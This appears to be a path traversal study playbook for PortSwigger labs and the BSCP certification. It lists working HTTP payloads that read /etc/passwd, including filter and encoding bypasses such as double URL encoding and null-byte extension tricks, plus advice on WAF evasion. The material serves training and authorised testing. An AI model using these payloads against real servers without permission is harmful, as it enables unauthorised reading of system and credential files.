akashrpatil Path Traversal — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Simple case 🟢 APPRENTICE
GET /image?filename=../../../etc/passwd HTTP/1.1
Lab 2: Blocked with absolute path bypass 🟡 PRACTITIONER
GET /image?filename=/etc/passwd HTTP/1.1
Traversal sequences blocked but absolute paths work.
Lab 3: Stripped non-recursively 🟡 PRACTITIONER
GET /image?filename=....//....//....//etc/passwd HTTP/1.1
Stripping ../ once from ....// leaves ../.
Lab 4: Stripped with superfluous URL-decode 🟡 PRACTITIONER
GET /image?filename=..%252f..%252f..%252fetc/passwd HTTP/1.1
Double URL-encode: ..%252f → decoded to ..%2f → decoded again to ../.
Lab 5: Validation of start of path 🟡 PRACTITIONER
GET /image?filename=/var/www/images/../../../etc/passwd HTTP/1.1
App validates path starts with /var/www/images — traverse from there.
Lab 6: File extension with null byte 🟡 PRACTITIONER
GET /image?filename=../../../etc/passwd%00.png HTTP/1.1
Null byte terminates string in C/older PHP. App validates .png extension but OS stops at %00.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class